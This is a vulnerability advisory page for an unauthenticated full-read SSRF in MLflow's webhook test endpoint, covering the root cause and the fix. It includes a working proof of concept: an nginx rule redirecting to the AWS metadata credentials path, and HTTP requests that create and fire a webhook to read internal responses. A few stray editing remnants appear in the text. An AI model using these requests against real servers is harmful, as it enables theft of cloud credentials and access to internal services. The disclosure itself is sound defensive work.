critical

CVE-2026-64849

PyPI · mlflow

Summary

MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)

Severity
critical
CVSS
9.3
EPSS
10.0% (p96)
CWE
CWE-918
Also known as
GHSA-7gwp-5pfp-969j
Published
2026-08-17
Updated
2026-08-17

Advisory details

Summary

The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

  1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.

  2. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

  1. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
image

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
image

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
image

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

image

Notes:

Impact

An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.